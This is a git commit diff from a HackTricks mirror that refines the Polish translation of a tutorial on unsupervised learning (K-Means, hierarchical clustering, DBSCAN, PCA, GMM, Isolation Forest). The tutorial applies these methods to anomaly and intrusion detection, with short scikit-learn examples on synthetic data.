mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Unsupervised-Learning-Algorithms.md', 'src/binary
This commit is contained in:
parent
b2e5391c16
commit
ba4b51baaf
@ -10,7 +10,7 @@ Uczenie nienadzorowane jest często wykorzystywane do zadań takich jak klastery
|
||||
### Klasteryzacja K-Średnich
|
||||
|
||||
K-Średnich to algorytm klasteryzacji oparty na centroidach, który dzieli dane na K klastrów, przypisując każdy punkt do najbliższego średniego klastra. Algorytm działa w następujący sposób:
|
||||
1. **Inicjalizacja**: Wybierz K początkowych centrów klastrów (centroidów), często losowo lub za pomocą inteligentniejszych metod, takich jak k-średnich++.
|
||||
1. **Inicjalizacja**: Wybierz K początkowych centrów klastrów (centroidów), często losowo lub za pomocą inteligentniejszych metod, takich jak k-średnie++.
|
||||
2. **Przypisanie**: Przypisz każdy punkt danych do najbliższego centroidu na podstawie metryki odległości (np. odległość euklidesowa).
|
||||
3. **Aktualizacja**: Przelicz centroidy, biorąc średnią ze wszystkich punktów danych przypisanych do każdego klastra.
|
||||
4. **Powtórz**: Kroki 2–3 są powtarzane, aż przypisania klastrów się ustabilizują (centroidy przestają się znacząco poruszać).
|
||||
@ -62,27 +62,27 @@ W tym przykładzie K-Means powinien znaleźć 4 klastry. Mały klaster ataku (o
|
||||
|
||||
### Klasteryzacja Hierarchiczna
|
||||
|
||||
Klasteryzacja hierarchiczna buduje hierarchię klastrów, używając podejścia od dołu do góry (agglomerative) lub od góry do dołu (divisive):
|
||||
Klasteryzacja hierarchiczna buduje hierarchię klastrów, używając podejścia od dołu do góry (agregacyjnego) lub od góry do dołu (dzielącego):
|
||||
|
||||
1. **Agglomerative (Od Dołu do Góry)**: Rozpocznij od każdego punktu danych jako osobnego klastra i iteracyjnie łącz najbliższe klastry, aż pozostanie jeden klaster lub zostanie spełniony kryterium zatrzymania.
|
||||
2. **Divisive (Od Góry do Dołu)**: Rozpocznij od wszystkich punktów danych w jednym klastrze i iteracyjnie dziel klastry, aż każdy punkt danych stanie się swoim własnym klastrem lub zostanie spełniony kryterium zatrzymania.
|
||||
1. **Agregacyjne (Od Dołu do Góry)**: Rozpocznij od każdego punktu danych jako osobnego klastra i iteracyjnie łącz najbliższe klastry, aż pozostanie jeden klaster lub zostanie spełniony kryterium zatrzymania.
|
||||
2. **Dzielące (Od Góry do Dołu)**: Rozpocznij od wszystkich punktów danych w jednym klastrze i iteracyjnie dziel klastry, aż każdy punkt danych stanie się swoim własnym klastrem lub zostanie spełniony kryterium zatrzymania.
|
||||
|
||||
Klasteryzacja agglomerative wymaga zdefiniowania odległości między klastrami oraz kryterium łączenia, aby zdecydować, które klastry połączyć. Powszechne metody łączenia obejmują pojedyncze łączenie (odległość najbliższych punktów między dwoma klastrami), pełne łączenie (odległość najdalszych punktów), średnie łączenie itp., a metryka odległości często jest euklidesowa. Wybór metody łączenia wpływa na kształt produkowanych klastrów. Nie ma potrzeby wstępnego określania liczby klastrów K; można "przeciąć" dendrogram na wybranym poziomie, aby uzyskać pożądaną liczbę klastrów.
|
||||
Klasteryzacja agregacyjna wymaga zdefiniowania odległości między klastrami oraz kryterium łączenia, aby zdecydować, które klastry połączyć. Powszechne metody łączenia obejmują pojedyncze łączenie (odległość najbliższych punktów między dwoma klastrami), pełne łączenie (odległość najdalszych punktów), średnie łączenie itp., a metryka odległości często jest euklidesowa. Wybór metody łączenia wpływa na kształt produkowanych klastrów. Nie ma potrzeby wstępnego określania liczby klastrów K; można "przeciąć" dendrogram na wybranym poziomie, aby uzyskać pożądaną liczbę klastrów.
|
||||
|
||||
Klasteryzacja hierarchiczna produkuje dendrogram, strukturę przypominającą drzewo, która pokazuje relacje między klastrami na różnych poziomach szczegółowości. Dendrogram można przeciąć na pożądanym poziomie, aby uzyskać określoną liczbę klastrów.
|
||||
|
||||
> [!TIP]
|
||||
> *Przykłady zastosowań w cyberbezpieczeństwie:* Klasteryzacja hierarchiczna może organizować zdarzenia lub podmioty w drzewo, aby dostrzegać relacje. Na przykład w analizie złośliwego oprogramowania klasteryzacja agglomerative mogłaby grupować próbki według podobieństwa behawioralnego, ujawniając hierarchię rodzin i wariantów złośliwego oprogramowania. W bezpieczeństwie sieciowym można klasteryzować przepływy ruchu IP i używać dendrogramu do zobaczenia podgrup ruchu (np. według protokołu, a następnie według zachowania). Ponieważ nie trzeba wybierać K z góry, jest to przydatne podczas eksploracji nowych danych, dla których liczba kategorii ataków jest nieznana.
|
||||
> *Przykłady zastosowań w cyberbezpieczeństwie:* Klasteryzacja hierarchiczna może organizować zdarzenia lub podmioty w drzewo, aby dostrzegać relacje. Na przykład w analizie złośliwego oprogramowania klasteryzacja agregacyjna może grupować próbki według podobieństwa behawioralnego, ujawniając hierarchię rodzin i wariantów złośliwego oprogramowania. W bezpieczeństwie sieci można klasteryzować przepływy ruchu IP i używać dendrogramu do zobaczenia podgrup ruchu (np. według protokołu, a następnie według zachowania). Ponieważ nie trzeba wybierać K z góry, jest to przydatne podczas eksploracji nowych danych, dla których liczba kategorii ataków jest nieznana.
|
||||
|
||||
#### Założenia i Ograniczenia
|
||||
|
||||
Klasteryzacja hierarchiczna nie zakłada konkretnego kształtu klastra i może uchwycić zagnieżdżone klastry. Jest przydatna do odkrywania taksonomii lub relacji między grupami (np. grupowanie złośliwego oprogramowania według podgrup rodzinnych). Jest deterministyczna (brak problemów z losową inicjalizacją). Kluczową zaletą jest dendrogram, który dostarcza wglądu w strukturę klasteryzacji danych na wszystkich poziomach – analitycy bezpieczeństwa mogą zdecydować o odpowiednim poziomie odcięcia, aby zidentyfikować znaczące klastry. Jednak jest to kosztowne obliczeniowo (zwykle czas $O(n^2)$ lub gorszy dla naiwnej implementacji) i nie jest wykonalne dla bardzo dużych zbiorów danych. Jest to również procedura zachłanna – po wykonaniu połączenia lub podziału nie można tego cofnąć, co może prowadzić do suboptymalnych klastrów, jeśli błąd wystąpi wcześnie. Odstające punkty mogą również wpływać na niektóre strategie łączenia (pojedyncze łączenie może powodować efekt "łańcuchowy", gdzie klastry łączą się przez odstające punkty).
|
||||
Klasteryzacja hierarchiczna nie zakłada konkretnego kształtu klastra i może uchwycić zagnieżdżone klastry. Jest przydatna do odkrywania taksonomii lub relacji między grupami (np. grupowanie złośliwego oprogramowania według podgrup rodzinnych). Jest deterministyczna (brak problemów z losową inicjalizacją). Kluczową zaletą jest dendrogram, który dostarcza wglądu w strukturę klasteryzacji danych na wszystkich poziomach – analitycy bezpieczeństwa mogą zdecydować o odpowiednim poziomie odcięcia, aby zidentyfikować znaczące klastry. Jednak jest to kosztowne obliczeniowo (zwykle czas $O(n^2)$ lub gorszy dla naiwnych implementacji) i nie jest wykonalne dla bardzo dużych zbiorów danych. Jest to również procedura zachłanna – po wykonaniu połączenia lub podziału nie można tego cofnąć, co może prowadzić do suboptymalnych klastrów, jeśli błąd wystąpi wcześnie. Odstające wartości mogą również wpływać na niektóre strategie łączenia (pojedyncze łączenie może powodować efekt "łańcuchowy", gdzie klastry łączą się przez odstające wartości).
|
||||
|
||||
<details>
|
||||
<summary>Przykład -- Klasteryzacja Agglomerative Zdarzeń
|
||||
<summary>Przykład -- Agregacyjna Klasteryzacja Zdarzeń
|
||||
</summary>
|
||||
|
||||
Ponownie wykorzystamy syntetyczne dane z przykładu K-Means (3 normalne klastry + 1 klaster ataku) i zastosujemy klasteryzację agglomerative. Następnie ilustrujemy, jak uzyskać dendrogram i etykiety klastrów.
|
||||
Ponownie wykorzystamy syntetyczne dane z przykładu K-Means (3 normalne klastry + 1 klaster ataku) i zastosujemy klasteryzację agregacyjną. Następnie ilustrujemy, jak uzyskać dendrogram i etykiety klastrów.
|
||||
```python
|
||||
from sklearn.cluster import AgglomerativeClustering
|
||||
from scipy.cluster.hierarchy import linkage, dendrogram
|
||||
@ -150,7 +150,7 @@ num_noise = np.sum(labels == -1)
|
||||
print(f"DBSCAN found {num_clusters} clusters and {num_noise} noise points")
|
||||
print("Cluster labels for first 10 points:", labels[:10])
|
||||
```
|
||||
W tym fragmencie dostosowaliśmy `eps` i `min_samples` do skali naszych danych (15.0 w jednostkach cech i wymagając 5 punktów do utworzenia klastra). DBSCAN powinien znaleźć 2 klastry (klastry normalnego ruchu) i oznaczyć 5 wstrzykniętych wartości odstających jako szum. Wyjściowo podajemy liczbę klastrów w porównaniu do punktów szumowych, aby to zweryfikować. W rzeczywistym ustawieniu można iterować po ε (używając heurystyki grafu odległości k, aby wybrać ε) i MinPts (często ustawianym na około wymiarowości danych + 1 jako zasada ogólna), aby znaleźć stabilne wyniki klastrowania. Możliwość wyraźnego oznaczania szumu pomaga oddzielić potencjalne dane ataku do dalszej analizy.
|
||||
W tym fragmencie dostosowaliśmy `eps` i `min_samples` do skali naszych danych (15.0 w jednostkach cech i wymagając 5 punktów do utworzenia klastra). DBSCAN powinien znaleźć 2 klastry (klastry normalnego ruchu) i oznaczyć 5 wstrzykniętych wartości odstających jako szum. Wyprowadzamy liczbę klastrów w porównaniu do punktów szumowych, aby to zweryfikować. W rzeczywistym ustawieniu można iterować po ε (używając heurystyki grafu odległości k, aby wybrać ε) i MinPts (często ustawianym na około wymiarowości danych + 1 jako zasada ogólna), aby znaleźć stabilne wyniki klastrowania. Możliwość wyraźnego oznaczania szumu pomaga oddzielić potencjalne dane ataku do dalszej analizy.
|
||||
|
||||
</details>
|
||||
|
||||
@ -172,16 +172,16 @@ PCA jest szeroko stosowane do wizualizacji danych, redukcji szumów i jako krok
|
||||
|
||||
Wartość własna to skalar, który wskazuje ilość wariancji uchwyconej przez odpowiadający jej wektor własny. Wektor własny reprezentuje kierunek w przestrzeni cech, wzdłuż którego dane zmieniają się najbardziej.
|
||||
|
||||
Wyobraź sobie, że A jest macierzą kwadratową, a v jest wektorem różnym od zera, tak że: `A * v = λ * v`
|
||||
Wyobraź sobie, że A jest macierzą kwadratową, a v jest wektorem różnym od zera, taki że: `A * v = λ * v`
|
||||
gdzie:
|
||||
- A to macierz kwadratowa, np. [ [1, 2], [2, 1]] (np. macierz kowariancji)
|
||||
- A to macierz kwadratowa, jak [ [1, 2], [2, 1]] (np. macierz kowariancji)
|
||||
- v to wektor własny (np. [1, 1])
|
||||
|
||||
Wtedy `A * v = [ [1, 2], [2, 1]] * [1, 1] = [3, 3]`, co będzie wartością własną λ pomnożoną przez wektor własny v, co daje wartość własną λ = 3.
|
||||
|
||||
#### Wartości Własne i Wektory Własne w PCA
|
||||
|
||||
Wyjaśnijmy to na przykładzie. Wyobraź sobie, że masz zbiór danych z wieloma zdjęciami w odcieniach szarości twarzy o rozmiarze 100x100 pikseli. Każdy piksel można uznać za cechę, więc masz 10 000 cech na obraz (lub wektor 10 000 komponentów na obraz). Jeśli chcesz zmniejszyć wymiarowość tego zbioru danych za pomocą PCA, powinieneś postępować zgodnie z tymi krokami:
|
||||
Wyjaśnijmy to na przykładzie. Wyobraź sobie, że masz zbiór danych z wieloma szaro-skalowymi obrazami twarzy o rozmiarze 100x100 pikseli. Każdy piksel można uznać za cechę, więc masz 10 000 cech na obraz (lub wektor 10 000 komponentów na obraz). Jeśli chcesz zmniejszyć wymiarowość tego zbioru danych za pomocą PCA, powinieneś postępować zgodnie z tymi krokami:
|
||||
|
||||
1. **Standaryzacja**: Wyśrodkowanie danych poprzez odjęcie średniej każdej cechy (piksela) z zbioru danych.
|
||||
2. **Macierz Kowariancji**: Obliczenie macierzy kowariancji standaryzowanych danych, która uchwyca, jak cechy (piksele) zmieniają się razem.
|
||||
@ -194,11 +194,11 @@ Wyjaśnijmy to na przykładzie. Wyobraź sobie, że masz zbiór danych z wieloma
|
||||
4. **Wybór Głównych Składników**: Posortowanie wartości własnych w porządku malejącym i wybranie najlepszych K wektorów własnych odpowiadających największym wartościom własnym. Te wektory własne reprezentują kierunki maksymalnej wariancji w danych.
|
||||
|
||||
> [!TIP]
|
||||
> *Przykłady zastosowań w cyberbezpieczeństwie:* Powszechnym zastosowaniem PCA w bezpieczeństwie jest redukcja cech do wykrywania anomalii. Na przykład, system wykrywania intruzów z ponad 40 metrykami sieciowymi (takimi jak cechy NSL-KDD) może użyć PCA do redukcji do kilku komponentów, podsumowując dane do wizualizacji lub wprowadzenia do algorytmów klastrowania. Analitycy mogą rysować ruch sieciowy w przestrzeni pierwszych dwóch głównych składników, aby zobaczyć, czy ataki oddzielają się od normalnego ruchu. PCA może również pomóc w eliminacji zbędnych cech (takich jak bajty wysłane w porównaniu do bajtów odebranych, jeśli są skorelowane), aby uczynić algorytmy wykrywania bardziej odpornymi i szybszymi.
|
||||
> *Przykłady zastosowań w cyberbezpieczeństwie:* Powszechnym zastosowaniem PCA w bezpieczeństwie jest redukcja cech do wykrywania anomalii. Na przykład, system wykrywania intruzów z ponad 40 metrykami sieciowymi (takimi jak cechy NSL-KDD) może użyć PCA do redukcji do kilku komponentów, podsumowując dane do wizualizacji lub wprowadzenia do algorytmów klastrowania. Analitycy mogą rysować ruch sieciowy w przestrzeni pierwszych dwóch głównych składników, aby zobaczyć, czy ataki oddzielają się od normalnego ruchu. PCA może również pomóc w eliminacji zbędnych cech (jak bajty wysłane w porównaniu do bajtów odebranych, jeśli są skorelowane), aby uczynić algorytmy wykrywania bardziej odpornymi i szybszymi.
|
||||
|
||||
#### Założenia i Ograniczenia
|
||||
|
||||
PCA zakłada, że **główne osie wariancji są znaczące** – jest to metoda liniowa, więc uchwyca liniowe korelacje w danych. Jest nienadzorowana, ponieważ wykorzystuje tylko kowariancję cech. Zalety PCA obejmują redukcję szumów (komponenty o małej wariancji często odpowiadają szumowi) i dekorelację cech. Jest obliczeniowo wydajne dla umiarkowanie wysokich wymiarów i często stanowi użyteczny krok wstępny dla innych algorytmów (aby złagodzić przekleństwo wymiarowości). Jednym z ograniczeń jest to, że PCA jest ograniczone do relacji liniowych – nie uchwyci złożonej nieliniowej struktury (podczas gdy autoenkodery lub t-SNE mogą). Ponadto komponenty PCA mogą być trudne do interpretacji w kontekście oryginalnych cech (są kombinacjami oryginalnych cech). W cyberbezpieczeństwie należy być ostrożnym: atak, który powoduje tylko subtelną zmianę w cechach o niskiej wariancji, może nie pojawić się w głównych komponentach (ponieważ PCA priorytetowo traktuje wariancję, a niekoniecznie „interesującość”).
|
||||
PCA zakłada, że **główne osie wariancji są znaczące** – jest to metoda liniowa, więc uchwyca liniowe korelacje w danych. Jest nienadzorowana, ponieważ wykorzystuje tylko kowariancję cech. Zalety PCA obejmują redukcję szumów (komponenty o małej wariancji często odpowiadają szumowi) i dekorelację cech. Jest obliczeniowo wydajne dla umiarkowanie wysokich wymiarów i często jest używane jako krok wstępny dla innych algorytmów (aby złagodzić przekleństwo wymiarowości). Jednym z ograniczeń jest to, że PCA jest ograniczone do relacji liniowych – nie uchwyci złożonej nieliniowej struktury (podczas gdy autoenkodery lub t-SNE mogą). Ponadto, komponenty PCA mogą być trudne do interpretacji w kontekście oryginalnych cech (są kombinacjami oryginalnych cech). W cyberbezpieczeństwie należy być ostrożnym: atak, który powoduje tylko subtelną zmianę w cechach o niskiej wariancji, może nie pojawić się w głównych komponentach (ponieważ PCA priorytetowo traktuje wariancję, a niekoniecznie „interesującość”).
|
||||
|
||||
<details>
|
||||
<summary>Przykład -- Redukcja Wymiarów Danych Sieciowych
|
||||
@ -224,20 +224,20 @@ print("Original shape:", data_4d.shape, "Reduced shape:", data_2d.shape)
|
||||
# We can examine a few transformed points
|
||||
print("First 5 data points in PCA space:\n", data_2d[:5])
|
||||
```
|
||||
Tutaj wzięliśmy wcześniejsze klastry normalnego ruchu i rozszerzyliśmy każdy punkt danych o dwie dodatkowe cechy (pakiety i błędy), które korelują z bajtami i czasem trwania. Następnie używamy PCA do skompresowania 4 cech do 2 głównych komponentów. Drukujemy współczynnik wyjaśnionej wariancji, który może pokazać, że na przykład >95% wariancji jest uchwycone przez 2 komponenty (co oznacza niewielką utratę informacji). Wynik pokazuje również, że kształt danych zmienia się z (1500, 4) na (1500, 2). Pierwsze kilka punktów w przestrzeni PCA podano jako przykład. W praktyce można by narysować data_2d, aby wizualnie sprawdzić, czy klastry są rozróżnialne. Jeśli występowała anomalia, można by ją zobaczyć jako punkt leżący z dala od głównego klastra w przestrzeni PCA. PCA zatem pomaga destylować złożone dane do zarządzalnej formy dla ludzkiej interpretacji lub jako wejście do innych algorytmów.
|
||||
Tutaj wzięliśmy wcześniejsze klastry normalnego ruchu i rozszerzyliśmy każdy punkt danych o dwie dodatkowe cechy (pakiety i błędy), które korelują z bajtami i czasem trwania. PCA jest następnie używane do skompresowania 4 cech do 2 głównych komponentów. Drukujemy współczynnik wyjaśnionej wariancji, który może pokazać, że na przykład >95% wariancji jest uchwycone przez 2 komponenty (co oznacza niewielką utratę informacji). Wynik pokazuje również, że kształt danych zmienia się z (1500, 4) na (1500, 2). Pierwsze kilka punktów w przestrzeni PCA podano jako przykład. W praktyce można by narysować data_2d, aby wizualnie sprawdzić, czy klastry są rozróżnialne. Jeśli występowałaby anomalia, można by ją zobaczyć jako punkt leżący z dala od głównego klastra w przestrzeni PCA. PCA zatem pomaga destylować złożone dane do zarządzalnej formy dla ludzkiej interpretacji lub jako wejście do innych algorytmów.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
### Modele Mieszanin Gaussowskich (GMM)
|
||||
### Modele Mieszanek Gaussowskich (GMM)
|
||||
|
||||
Model Mieszanin Gaussowskich zakłada, że dane są generowane z mieszaniny **kilku rozkładów Gaussowskich (normalnych) o nieznanych parametrach**. W istocie jest to probabilistyczny model klastrowania: stara się łagodnie przypisać każdy punkt do jednego z K komponentów Gaussowskich. Każdy komponent Gaussowski k ma wektor średni (μ_k), macierz kowariancji (Σ_k) oraz wagę mieszania (π_k), która reprezentuje, jak powszechny jest ten klaster. W przeciwieństwie do K-Means, który dokonuje "twardych" przypisań, GMM nadaje każdemu punktowi prawdopodobieństwo przynależności do każdego klastra.
|
||||
Model Mieszanek Gaussowskich zakłada, że dane są generowane z mieszanki **kilku rozkładów Gaussowskich (normalnych) o nieznanych parametrach**. W istocie jest to probabilistyczny model klastrowania: stara się łagodnie przypisać każdy punkt do jednego z K komponentów Gaussowskich. Każdy komponent Gaussowski k ma wektor średni (μ_k), macierz kowariancji (Σ_k) oraz wagę mieszania (π_k), która reprezentuje, jak powszechny jest ten klaster. W przeciwieństwie do K-Means, który dokonuje "twardych" przypisań, GMM nadaje każdemu punktowi prawdopodobieństwo przynależności do każdego klastra.
|
||||
|
||||
Dopasowanie GMM zazwyczaj odbywa się za pomocą algorytmu Oczekiwania-Maksymalizacji (EM):
|
||||
|
||||
- **Inicjalizacja**: Rozpocznij od początkowych oszacowań dla średnich, kowariancji i współczynników mieszania (lub użyj wyników K-Means jako punktu wyjścia).
|
||||
|
||||
- **E-krok (Oczekiwanie)**: Mając obecne parametry, oblicz odpowiedzialność każdego klastra dla każdego punktu: zasadniczo `r_nk = P(z_k | x_n)`, gdzie z_k to zmienna utajona wskazująca przynależność do klastra dla punktu x_n. To jest robione za pomocą twierdzenia Bayesa, gdzie obliczamy prawdopodobieństwo a posteriori każdego punktu przynależności do każdego klastra na podstawie obecnych parametrów. Odpowiedzialności oblicza się jako:
|
||||
- **E-krok (Oczekiwanie)**: Mając obecne parametry, oblicz odpowiedzialność każdego klastra dla każdego punktu: zasadniczo `r_nk = P(z_k | x_n)`, gdzie z_k to zmienna utajona wskazująca przynależność do klastra dla punktu x_n. To jest robione za pomocą twierdzenia Bayesa, gdzie obliczamy prawdopodobieństwo a posteriori, że każdy punkt należy do każdego klastra na podstawie obecnych parametrów. Odpowiedzialności oblicza się jako:
|
||||
```math
|
||||
r_{nk} = \frac{\pi_k \mathcal{N}(x_n | \mu_k, \Sigma_k)}{\sum_{j=1}^{K} \pi_j \mathcal{N}(x_n | \mu_j, \Sigma_j)}
|
||||
```
|
||||
@ -255,13 +255,13 @@ gdzie:
|
||||
Wynikiem jest zestaw rozkładów Gaussowskich, które wspólnie modelują ogólny rozkład danych. Możemy użyć dopasowanego GMM do klastrowania, przypisując każdy punkt do Gaussa o najwyższym prawdopodobieństwie, lub zachować prawdopodobieństwa dla niepewności. Można również ocenić prawdopodobieństwo nowych punktów, aby sprawdzić, czy pasują do modelu (przydatne w wykrywaniu anomalii).
|
||||
|
||||
> [!TIP]
|
||||
> *Przykłady zastosowań w cyberbezpieczeństwie:* GMM może być używany do wykrywania anomalii poprzez modelowanie rozkładu normalnych danych: każdy punkt o bardzo niskim prawdopodobieństwie w ramach wyuczonej mieszaniny jest oznaczany jako anomalia. Na przykład, można by wytrenować GMM na cechach legalnego ruchu sieciowego; połączenie atakujące, które nie przypomina żadnego wyuczonego klastra, miałoby niskie prawdopodobieństwo. GMM są również używane do klastrowania działań, gdzie klastry mogą mieć różne kształty – np. grupowanie użytkowników według profili zachowań, gdzie cechy każdego profilu mogą być podobne do Gaussa, ale z własną strukturą wariancji. Inny scenariusz: w wykrywaniu phishingu cechy legalnych e-maili mogą tworzyć jeden klaster Gaussowski, znane phishingi inny, a nowe kampanie phishingowe mogą pojawiać się jako oddzielny Gauss lub jako punkty o niskim prawdopodobieństwie w odniesieniu do istniejącej mieszaniny.
|
||||
> *Przykłady zastosowań w cyberbezpieczeństwie:* GMM może być używane do wykrywania anomalii poprzez modelowanie rozkładu normalnych danych: każdy punkt o bardzo niskim prawdopodobieństwie w ramach wyuczonej mieszanki jest oznaczany jako anomalia. Na przykład, można by wytrenować GMM na cechach legalnego ruchu sieciowego; połączenie atakujące, które nie przypomina żadnego wyuczonego klastra, miałoby niskie prawdopodobieństwo. GMM są również używane do klastrowania działań, gdzie klastry mogą mieć różne kształty – np. grupowanie użytkowników według profili zachowań, gdzie cechy każdego profilu mogą być podobne do Gaussa, ale z własną strukturą wariancji. Inny scenariusz: w wykrywaniu phishingu cechy legalnych e-maili mogą tworzyć jeden klaster Gaussowski, znane phishingi inny, a nowe kampanie phishingowe mogą pojawiać się jako oddzielny Gauss lub jako punkty o niskim prawdopodobieństwie w stosunku do istniejącej mieszanki.
|
||||
|
||||
#### Założenia i ograniczenia
|
||||
|
||||
GMM jest uogólnieniem K-Means, które uwzględnia kowariancję, dzięki czemu klastry mogą być elipsoidalne (nie tylko sferyczne). Radzi sobie z klastrami o różnych rozmiarach i kształtach, jeśli kowariancja jest pełna. Miękkie klastrowanie jest zaletą, gdy granice klastrów są nieostre – np. w cyberbezpieczeństwie zdarzenie może mieć cechy wielu typów ataków; GMM może odzwierciedlać tę niepewność za pomocą prawdopodobieństw. GMM dostarcza również probabilistycznej estymacji gęstości danych, co jest przydatne do wykrywania wartości odstających (punktów o niskim prawdopodobieństwie w ramach wszystkich komponentów mieszaniny).
|
||||
GMM jest uogólnieniem K-Means, które uwzględnia kowariancję, dzięki czemu klastry mogą być elipsoidalne (nie tylko sferyczne). Radzi sobie z klastrami o różnych rozmiarach i kształtach, jeśli kowariancja jest pełna. Miękkie klastrowanie jest zaletą, gdy granice klastrów są nieostre – np. w cyberbezpieczeństwie zdarzenie może mieć cechy wielu typów ataków; GMM może odzwierciedlać tę niepewność za pomocą prawdopodobieństw. GMM dostarcza również probabilistycznej estymacji gęstości danych, co jest przydatne do wykrywania wartości odstających (punktów o niskim prawdopodobieństwie w ramach wszystkich komponentów mieszanki).
|
||||
|
||||
Z drugiej strony, GMM wymaga określenia liczby komponentów K (choć można użyć kryteriów takich jak BIC/AIC do jej wyboru). EM czasami może zbiegać się wolno lub do lokalnego optimum, więc inicjalizacja jest ważna (często uruchamia się EM wiele razy). Jeśli dane w rzeczywistości nie podążają za mieszaniną Gaussów, model może być słabo dopasowany. Istnieje również ryzyko, że jeden Gauss skurczy się, aby pokryć tylko wartość odstającą (choć regularizacja lub minimalne ograniczenia kowariancji mogą to złagodzić).
|
||||
Z drugiej strony, GMM wymaga określenia liczby komponentów K (choć można użyć kryteriów takich jak BIC/AIC do jej wyboru). EM czasami może zbiegać się wolno lub do lokalnego optimum, więc inicjalizacja jest ważna (często uruchamia się EM wiele razy). Jeśli dane w rzeczywistości nie podążają za mieszanką Gaussów, model może być słabo dopasowany. Istnieje również ryzyko, że jeden Gauss skurczy się, aby pokryć tylko wartość odstającą (choć regularizacja lub minimalne ograniczenia kowariancji mogą to złagodzić).
|
||||
|
||||
|
||||
<details>
|
||||
@ -285,11 +285,11 @@ log_likelihood = gmm.score_samples(sample_attack)
|
||||
print("Cluster membership probabilities for sample attack:", probs)
|
||||
print("Log-likelihood of sample attack under GMM:", log_likelihood)
|
||||
```
|
||||
W tym kodzie trenujemy GMM z 3 Gaussami na normalnym ruchu (zakładając, że znamy 3 profile legalnego ruchu). Średnie i kowariancje wydrukowane opisują te klastry (na przykład, jedna średnia może wynosić około [50,500], co odpowiada centrum jednego klastra itd.). Następnie testujemy podejrzane połączenie [duration=200, bytes=800]. predict_proba podaje prawdopodobieństwo, że ten punkt należy do każdego z 3 klastrów – spodziewalibyśmy się, że te prawdopodobieństwa będą bardzo niskie lub mocno zniekształcone, ponieważ [200,800] leży daleko od normalnych klastrów. Całkowity score_samples (log-likelihood) jest drukowany; bardzo niska wartość wskazuje, że punkt nie pasuje dobrze do modelu, oznaczając go jako anomalię. W praktyce można ustawić próg na log-likelihood (lub na maksymalne prawdopodobieństwo), aby zdecydować, czy punkt jest wystarczająco mało prawdopodobny, aby uznać go za złośliwy. GMM w ten sposób zapewnia zasadniczy sposób wykrywania anomalii i również generuje miękkie klastry, które uwzględniają niepewność.
|
||||
W tym kodzie trenujemy GMM z 3 Gaussami na normalnym ruchu (zakładając, że znamy 3 profile legalnego ruchu). Średnie i kowariancje wydrukowane opisują te klastry (na przykład, jedna średnia może wynosić około [50,500], co odpowiada centrum jednego klastra itd.). Następnie testujemy podejrzane połączenie [duration=200, bytes=800]. predict_proba podaje prawdopodobieństwo, że ten punkt należy do każdego z 3 klastrów – spodziewalibyśmy się, że te prawdopodobieństwa będą bardzo niskie lub mocno zniekształcone, ponieważ [200,800] leży daleko od normalnych klastrów. Całkowity score_samples (log-prawdopodobieństwo) jest drukowany; bardzo niska wartość wskazuje, że punkt nie pasuje dobrze do modelu, oznaczając go jako anomalię. W praktyce można ustawić próg na log-prawdopodobieństwie (lub na maksymalnym prawdopodobieństwie), aby zdecydować, czy punkt jest wystarczająco mało prawdopodobny, aby uznać go za złośliwy. GMM w ten sposób zapewnia zasadniczy sposób wykrywania anomalii i również generuje miękkie klastry, które uwzględniają niepewność.
|
||||
|
||||
### Isolation Forest
|
||||
|
||||
**Isolation Forest** to algorytm detekcji anomalii oparty na idei losowego izolowania punktów. Zasada polega na tym, że anomalie są nieliczne i różne, więc łatwiej je izolować niż normalne punkty. Isolation Forest buduje wiele binarnych drzew izolacyjnych (losowych drzew decyzyjnych), które losowo dzielą dane. W każdym węźle drzewa wybierana jest losowa cecha, a losowa wartość podziału jest wybierana pomiędzy minimum a maksimum tej cechy dla danych w tym węźle. Ten podział dzieli dane na dwie gałęzie. Drzewo rośnie, aż każdy punkt zostanie izolowany w swoim własnym liściu lub osiągnięta zostanie maksymalna wysokość drzewa.
|
||||
**Isolation Forest** to algorytm wykrywania anomalii oparty na idei losowego izolowania punktów. Zasada polega na tym, że anomalie są nieliczne i różne, więc łatwiej je izolować niż normalne punkty. Isolation Forest buduje wiele binarnych drzew izolacyjnych (losowych drzew decyzyjnych), które losowo dzielą dane. W każdym węźle drzewa wybierana jest losowa cecha, a losowa wartość podziału jest wybierana pomiędzy min i max tej cechy dla danych w tym węźle. Ten podział dzieli dane na dwie gałęzie. Drzewo rośnie, aż każdy punkt zostanie izolowany w swoim własnym liściu lub osiągnięta zostanie maksymalna wysokość drzewa.
|
||||
|
||||
Wykrywanie anomalii odbywa się poprzez obserwację długości ścieżki każdego punktu w tych losowych drzewach – liczby podziałów wymaganych do izolacji punktu. Intuicyjnie, anomalie (odstające wartości) mają tendencję do szybszej izolacji, ponieważ losowy podział jest bardziej prawdopodobny, aby oddzielić odstającą wartość (która znajduje się w rzadkim obszarze) niż normalny punkt w gęstym klastrze. Isolation Forest oblicza wynik anomalii na podstawie średniej długości ścieżki we wszystkich drzewach: krótsza średnia ścieżka → bardziej anomalny. Wyniki są zazwyczaj normalizowane do [0,1], gdzie 1 oznacza bardzo prawdopodobną anomalię.
|
||||
|
||||
@ -324,7 +324,7 @@ print("Example anomaly scores (lower means more anomalous):", anomaly_scores[:5]
|
||||
```
|
||||
W tym kodzie instancjonujemy `IsolationForest` z 100 drzewami i ustawiamy `contamination=0.15` (co oznacza, że oczekujemy około 15% anomalii; model ustawi próg punktacji tak, aby ~15% punktów zostało oznaczonych). Dopasowujemy go do `X_test_if`, który zawiera mieszankę normalnych punktów i punktów ataku (uwaga: zazwyczaj dopasowujesz do danych treningowych, a następnie używasz predict na nowych danych, ale tutaj dla ilustracji dopasowujemy i przewidujemy na tym samym zbiorze, aby bezpośrednio zaobserwować wyniki).
|
||||
|
||||
